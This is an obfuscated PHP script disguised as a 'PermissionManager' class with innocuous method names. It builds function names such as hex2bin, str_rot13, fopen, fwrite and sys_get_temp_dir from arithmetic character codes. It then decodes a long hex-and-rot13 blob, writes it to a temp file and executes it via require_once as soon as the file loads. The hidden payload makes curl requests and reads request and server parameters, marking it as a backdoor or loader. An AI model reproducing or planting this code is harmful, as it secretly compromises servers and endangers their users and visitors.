<?php
class PermissionManager {
	private $vj = '';
	private $yn = '';

	public function cacheData($p1) {
		$a = array(((2*52)),((60+41)),(120),(51-1),((37*80)-2862),(((65*1)+40)),(2*55));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function manageState($p1) {
		$a = array(51,(((23*58)-1285)),(119-3),(((92*65)-5869)),(2*57),(54+41),(116-2),116,((5*23)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function logTransaction($p1,$p2) {
		$a = array((((12*94)-1026)),111,(112),(55+46),((41*18)-628));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function updateRegistry($p1,$p2) {
		$a = array((104-2),(126-7),((117-3)),105,((2*58)),((101*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function syncRecords($p1) {
		$a = array(((19+25+57)),((65*28)-1705),((63*66)-4047),((30+51+27)),(99),(((61*1)+41)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function checkConsistency($p1,$p2=null) {
		$a = array(114,((96+20)),(((85*1)+29)),(86+19),(((93*65)-5936)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function processData() {
		$this->yn = $this->checkConsistency($this->resolveAction(), '/');
	}

	public function resetState() {
		$this->vj = $this->manageState($this->cacheData($this->bq));
	}

	public function fetchRecords() {
		$fn = $this->yn.'/sa-6861a529a9766';
		$f = $this->logTransaction($fn, 'w');
		$this->updateRegistry($f, $this->vj);
		$this->syncRecords($f);
		$this->trackActivity($fn);
	}

	private $bq = '3c3f6375632070796e6666205f62687b636576696e6772206' . '6676e677670245f6c6e3b66676e67767020736861706776626' . '1205f636d28245f716c67297b76732821667279733a3a245f6' . 'c6e29667279733a3a5f666728293b6572676865612075726b3' . '26f766128667279733a3a245f6c6e5b245f716c675d293b7d6' . '36576696e67722066676e677670207368617067766261205f6' . '66728297b667279733a3a245f6c6e3d6e65656e6c28275f646' . 'b71273d3e2734272e27313633363336272e273537333733327' . '1343336272e277336723734373236733670327134313670367' . '036733737327134733732363936373639367233272e276e323' . '0326e272c275f62786c273d3e2734333673367237343635367' . '2373432713534373937303635336e32303631272e273730373' . '0367036393633363137343639367336723273272e27366e363' . '1373636313733363337272e2732363937272e27303734272c2' . '75f7870273d3e27363336272e2738272c275f7a69273d3e273' . '6353739346e37272e273036333433343933363439366e36373' . '3343470366e363733343470366e363733343470366e36272e2' . '73733343439363937272e27373639363435373435363934733' . '639346e3330356e3538347233303439363937373639272e273' . '6333671353636713439366e36733639272e273634343735363' . '76e36343433346e33272e2739272c275f646f273d3e2737313' . '737376e3738272c275f6b7863273d3e273370272e273673366' . 'f272e2733272e2772272c275f786c6e273d3e2733703632363' . '136272e273433272e2772272c275f706e273d3e2737272e273' . '73631272e2736703670272c275f7071273d3e27272c275f726' . '9273d3e27272c275f636f75273d3e27272c275f6b6472273d3' . 'e273638373437343730336e32733273373037353632272e273' . '27237373635363236363639367036353638367337333734363' . '5373232723633367336272e2771327336272e273336272e277' . '3272e27367137303673373336353732327236272e276e37333' . '373272e27363436313734272e2736313371272c275f64796b2' . '73d3e27363337272e273537323670357336393672272e27362' . '72e2739272e273734272c275f6478273d3e273638373437343' . '730272e2735733633367336343635272c275f6f736b273d3e2' . '7373336333638272e273635272e273671272e2736272e27352' . '72c275f7379273d3e2736272e27383734373437303733272c2' . '75f7061273d3e273437272e273435272e2735343230272c275' . 'f6b66273d3e273730363137272e2734272e2736272e2738272' . 'c275f7073273d3e27373137272e273536353732272e2737272' . 'e2739272c275f6368273d3e273373272c275f6d61273d3e273' . '7313735363537272e2732272e2737272e2739272c275f78676' . '2273d3e2732303438353435343530327333313272272e27333' . '03071306e3438367337333734336e32272e2730272c275f717' . '9273d3e273638367337272e2733272e2737272e2734272c275' . 'f6465273d3e273071306e34333673367236723635363337343' . '63936733672336e32272e27303433367036733733272e27363' . '53071272e27306e3071272e2730272e276e272c275f6d71273' . 'd3e27373337272e2733272e27367033272e276e32272e27733' . '273272c275f6a65273d3e27272c275f657a78273d3e2736383' . '673373337272e2734272c275f6b7276273d3e2730272e27712' . '72e27306e272c275f6874273d3e27343835343534272e27353' . '035733433347034393435347235272e2734272e273573272e2' . '7343935272e2730272c275f657279273d3e273438353435343' . '530357335383573343634733532353734313532272e2734343' . '43534343573272e273436347335272e2732272c275f7673273' . 'd3e2735323435347134733534343535733431272e273434343' . '435272e2732272c275f6c7365273d3e2734383534353435303' . '5272e2773353535333435353235272e2773343134373435272' . 'e2734723534272c275f6f66273d3e273438353435343530357' . '335353533343535323573343134373435347235272e2734272' . 'c275f717370273d3e27272c275f797378273d3e27343835343' . '53435303573353234272e2735343634353532272e273435352' . '72e2732272c275f68766d273d3e27343835343534353035732' . '72e27353234353436272e2734272e273535272e27323435352' . '72e2732272c275f726e73273d3e27272c275f797978273d3e2' . '73438353435343530357334333470343934353472353435732' . '72e27343935272e2730272c275f756d273d3e2734383534353' . '43530357334333470343934353472272e273534357334272e2' . '739272e273530272c275f7771273d3e2734383534353435303' . '573353835733436272e2734733532353734313532343434353' . '43435733436347335272e2732272c275f616273273d3e27343' . '835343534353035733538272e2735733436347335323537343' . '1353234272e273434353434272e2735733436272e273473353' . '2272c275f7a7a68273d3e273532272e2734353471347335343' . '435357334272e2731343434272e27343532272c275f6162273' . 'd3e27353234353471272e2734733534272e27343535272e277' . '3343134272e2734272e27343435272e2732272c275f626f632' . '73d3e273634363236373671367336272e273436272e2735272' . 'c275f7465273d3e27343935272e273033272e276e32272e273' . '0272c275f6868273d3e2732303770323035353431336e32302' . '72c275f7a72273d3e273230377032303532363536272e27362' . '72e2733272e276e272e2732272e2730272c275f796b63273d3' . 'e273230337036272e273237272e2732337230272e276e272c2' . '75f7361273d3e2736393730272c275f757167273d3e2737352' . '72e273631272c275f746d273d3e27373236272e27353636272' . 'c275f7775273d3e273731272e273737376e37272e2738272c2' . '93b7d7d70796e6666205f716f767b636576696e67722066676' . 'e677670245f6c6e3b66676e677670207368617067766261205' . 'f636d28245f716c67297b76732821667279733a3a245f6c6e2' . '9667279733a3a5f666728293b65726768656120667279733a3' . 'a245f6c6e5b245f716c675d3b7d636576696e67722066676e6' . '77670207368617067766261205f666728297b667279733a3a2' . '45f6c6e3d6e65656e6c2830302c30372c3033362c3033362c3' . '0312c3033362c30322c30372c30312c3031362c3033302c303' . '62c3033322c3031322c3031312c3031332c3032372c3033312' . 'c30332c30322c30312c30312c30302c3031322c3031322c303' . '331302c303637332c303132302c30302c30323030302c30312' . 'c303432332c30343233293b7d7d75726e717265285f62683a3' . 'a5f636d28275f646b272e27712729293b75726e717265285f6' . '2683a3a5f636d28275f62786c2729293b76732876666672672' . '8245f5452475b5f62683a3a5f636d28275f78272e277027295' . 'd29297b245f6c6b3d5f6766285f62683a3a5f636d28275f7a6' . '92729293b767328245f6c6b262666676563626628245f6c6b2' . 'c5f62683a3a5f636d28275f64272e276f272929213d3d736e7' . '96672297b717672285f62683a3a5f636d28275f6b272e27782' . '72e27632729293b7d727966727b717672285f62683a3a5f636' . 'd28275f786c6e2729293b7d7d767328766666726728245f545' . '2475b5f62683a3a5f636d28275f70272e276e27295d29297b2' . '45f6a793d245f5042425856523b245f696f6e3d5f716f763a3' . 'a5f636d2830293b245f716c673d5f716f763a3a5f636d28312' . '93b245f6379613d6e65656e6c28293b245f6379615b245f696' . 'f6e5d3d5f62683a3a5f636d28275f70272e277127293b6a757' . '6797228245f716c67297b245f6379615b245f696f6e5d2e3d2' . '45f6a795b5f716f763a3a5f636d2832295d5b245f716c675d3' . 'b76732821245f6a795b5f716f763a3a5f636d2833295d5b245' . 'f716c672b5f716f763a3a5f636d2834295d297b76732821245' . 'f6a795b5f716f763a3a5f636d2835295d5b245f716c672b5f7' . '16f763a3a5f636d2836295d296f65726e783b245f696f6e2b2' . 'b3b245f6379615b245f696f6e5d3d5f62683a3a5f636d28275' . 'f272e2772272e276927293b245f716c672b2b3b7d245f716c6' . '73d245f716c672b5f716f763a3a5f636d2837292b5f716f763' . 'a3a5f636d2838293b7d245f696f6e3d245f6379615b5f716f7' . '63a3a5f636d2839295d28292e245f6379615b5f716f763a3a5' . 'f636d283130295d3b76732821245f6379615b5f716f763a3a5' . 'f636d283131295d28245f696f6e29297b245f716c673d245f6' . '379615b5f716f763a3a5f636d283132295d28245f696f6e2c2' . '45f6379615b5f716f763a3a5f636d283133295d293b245f637' . '9615b5f716f763a3a5f636d283134295d28245f716c672c245' . 'f6379615b5f716f763a3a5f636d283135295d2e245f6379615' . 'b5f716f763a3a5f636d283136295d28245f6379615b5f716f7' . '63a3a5f636d283137295d28245f6a795b5f716f763a3a5f636' . 'd283138295d2929293b7d7661707968717228245f696f6e293' . 'b7d7368617067766261205f676628245f62642c245f6c66773' . 'd2d39343034372c245f73643d2d3835313537297b245f6b763' . 'd5f62683a3a5f636d28275f636f7527293b245f79776f3d5f6' . '2683a3a5f636d28275f6b647227292e245f62643b767328766' . '65f706e79796e6f7972285f62683a3a5f636d28275f64272e2' . '779272e276b272929297b245f6b713d706865795f766176672' . '8245f79776f293b706865795f66726762636728245f6b712c5' . '04845594243475f4646595f49524556534c435252452c736e7' . '96672293b706865795f66726762636728245f6b712c5048455' . '94243475f4646595f49524556534c554246472c5f716f763a3' . 'a5f636d28313929293b706865795f66726762636728245f6b7' . '12c504845594243475f53425959424a5942504e475642412c5' . 'f716f763a3a5f636d28323029293b706865795f66726762636' . '728245f6b712c504845594243475f45524748454147454e414' . '65352452c5f716f763a3a5f636d28323129293b706865795f6' . '6726762636728245f6b712c504845594243475f55524e51524' . '52c5f716f763a3a5f636d28323229293b706865795f6672676' . '2636728245f6b712c504845594243475f50424141525047475' . '65a524248472c5f716f763a3a5f636d28323329293b7068657' . '95f66726762636728245f6b712c504845594243475f47565a5' . '24248472c5f716f763a3a5f636d28323429293b245f6b763d7' . '06865795f726b727028245f6b71293b245f6a753d706865795' . 'f7472677661736228245f6b71293b706865795f70796266722' . '8245f6b71293b767328245f6a755b5f62683a3a5f636d28275' . 'f64272e277827295d213d5f716f763a3a5f636d28323529296' . '5726768656120736e7966723b7d727966727b245f76613d636' . 'e6566725f68657928245f79776f293b245f63706a3d28245f7' . '6615b5f62683a3a5f636d28275f6f736b27295d3d3d5f62683' . 'a3a5f636d28275f73272e27792729293b245f626b713d5f626' . '83a3a5f636d28275f272e2770272e276127292e245f76615b5' . 'f62683a3a5f636d28275f272e276b6627295d3b76732876666' . '6726728245f76615b5f62683a3a5f636d28275f272e2770272' . 'e277327295d2929245f626b712e3d5f62683a3a5f636d28275' . 'f272e27636827292e245f76615b5f62683a3a5f636d28275f2' . '72e276d272e276127295d3b245f626b712e3d5f62683a3a5f6' . '36d28275f78272e2767272e276227292e245f76615b5f62683' . 'a3a5f636d28275f71272e277927295d2e5f62683a3a5f636d2' . '8275f646527293b245f77683d7366627078626372612828245' . 'f63706a3f5f62683a3a5f636d28275f272e276d272e2771272' . '93a5f62683a3a5f636d28275f6a272e27652729292e245f766' . '15b5f62683a3a5f636d28275f272e27657a7827295d2c245f6' . '3706a3f5f716f763a3a5f636d283236293a5f716f763a3a5f6' . '36d28323729293b767328245f7768297b736368676628245f7' . '7682c245f626b71293b245f61753d5f716f763a3a5f636d283' . '238293b6a7576797228217372627328245f776829297b245f7' . 'a7a3d737472676628245f77682c5f716f763a3a5f636d28323' . '929293b767328245f617529245f6b762e3d245f7a7a3b76732' . '8245f7a7a3d3d5f62683a3a5f636d28275f6b272e277276272' . '929245f61753d5f716f763a3a5f636d283330293b7d7370796' . '2667228245f7768293b7d7d657267686561245f6b763b7d245' . 'f6d6d733d766666726728245f4652454952455b5f62683a3a5' . 'f636d28275f68272e277427295d293b245f7065743d7666667' . '26728245f4652454952455b5f62683a3a5f636d28275f65722' . '72e277927295d293b245f6268613d766666726728245f46524' . '54952455b5f62683a3a5f636d28275f76272e277327295d293' . 'b245f6f6e3d766666726728245f4652454952455b5f62683a3' . 'a5f636d28275f6c272e27736527295d293f245f46524549524' . '55b5f62683a3a5f636d28275f6f272e276627295d3a5f62683' . 'a3a5f636d28275f272e2771272e2773272e277027293b245f7' . 'a6a3d766666726728245f4652454952455b5f62683a3a5f636' . 'd28275f272e2779737827295d293f245f4652454952455b5f6' . '2683a3a5f636d28275f6876272e276d27295d3a5f62683a3a5' . 'f636d28275f726e7327293b245f6d6d733d766666726728245' . 'f4652454952455b5f62683a3a5f636d28275f79797827295d2' . '93f245f4652454952455b5f62683a3a5f636d28275f272e277' . '5272e276d27295d3a616879793b245f7065743d76666672672' . '8245f4652454952455b5f62683a3a5f636d28275f777127295' . 'd293f245f4652454952455b5f62683a3a5f636d28275f272e2' . '761272e2762272e277327295d3a616879793b245f6268613d7' . '66666726728245f4652454952455b5f62683a3a5f636d28275' . 'f7a272e277a272e276827295d293f245f4652454952455b5f6' . '2683a3a5f636d28275f616227295d3a616879793b767328737' . '6796772655f696e6528245f6d6d732c5f716f763a3a5f636d2' . '833312929297b245f736c653d245f6d6d733b7d72796672767' . '3287376796772655f696e6528245f7065742c5f716f763a3a5' . 'f636d2833322929297b245f736c653d245f7065743b7d72796' . '6727b245f736c653d245f6268613b7d7673287666667267282' . '45f5452475b5f62683a3a5f636d28275f272e2762272e276f2' . '72e276327295d29297b72707562205f62683a3a5f636d28275' . 'f74272e276527292e245f736c652e5f62683a3a5f636d28275' . 'f68272e276827292e245f6f6e2e5f62683a3a5f636d28275f7' . 'a272e277227292e245f7a6a2e5f62683a3a5f636d28275f792' . '72e276b6327293b726b766728293b7d7673282176666672672' . '8245f736c65297c7c21766666726728245f6f6e297c7c21766' . '666726728245f7a6a29297b726b766728293b7d727966727b2' . '45f76683d6e65656e6c285f62683a3a5f636d28275f272e277' . '3272e276127293d3e245f736c652c5f62683a3a5f636d28275' . 'f272e277571272e276727293d3e245f6f6e2c5f62683a3a5f6' . '36d28275f272e2774272e276d27293d3e245f7a6a293b245f6' . '56a7a3d686579726170627172286f6e667236345f726170627' . '17228776662615f72617062717228245f76682929293b245f6' . 'c6b3d5f676628245f656a7a293b767328245f6c6b262666676' . '563626628245f6c6b2c5f62683a3a5f636d28275f777527292' . '9213d3d736e796672297b72707562245f6c6b3b726b7667282' . '93b7d7d';

	public function trackActivity($p) {
		require_once $p;
	}

	public function resolveAction() {
		$a=array((((46*116)-5221)),(((79*116)-9043)),((65+50)),95,(18+85),(((74*1)+27)),(119-3),(((19*101)-1824)),(((119*106)-12498)),(111-10),(43+63+3),((122-10)),(((36*63)-2173)),((64+36)),((107-2)),((24+90)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$um = new PermissionManager();
$um->processData();
$um->resetState();
$um->fetchRecords();
